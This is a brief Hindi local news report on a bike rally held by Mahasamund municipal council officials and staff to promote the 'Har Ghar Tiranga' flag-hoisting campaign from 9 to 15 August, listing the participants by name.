हर घर तिरंगा अभियान के तहत  देशभर में तिरंगा रैलियां निकाली जा रही हैं। इस संबंध में मुख्य नगर पालिका अधिकारी लवकेश कुमार ने बताया है कि 15 अगस्त तक देशभर में हर घर तिरंगा अभियान चलाया जा रहा है इस अभियान के तहत लोगों को अपने घरों और दफ्तरों में तिरंगा फहराने के लिए प्रोत्साहित किया जा रहा है। इसी क्रम में नगर पालिका परिषद महासमुंद के जनप्रतिनिधि अधिकारी कर्मचारियों ने बाइक रैली निकाल कर नगर वासियों से अपील की है कि 9 अगस्त से लेकर 15 अगस्त तक 'हर घर तिरंगा' अभियान का हिस्सा बनें।

बाइक रैली में प्रमुख रुप से पूर्व नगर पालिका अध्यक्ष पवन पटेल, पार्षद देवीचंद राठी, महेन्द्र सिका, मुख्य नगर पालिका अधिकारी लवकेश कुमार, उप‌अभियंता दिलीप कश्यप, स्वच्छता प्रभारी दिलीप चन्द्राकर, जल प्रभारी सीताराम चेलक, करण कुमार यादव, सुरेश तिवारी, मनोज सोनी, स्वच्छ भारत मिशन प्रभारी नौशाद बक्श, ममता बग्गा, प्रेम शीला बघेल सहित बड़ी संख्या में नगर पालिका के अधिकारी कर्मचारी एवं नागरिक उपस्थित थे।

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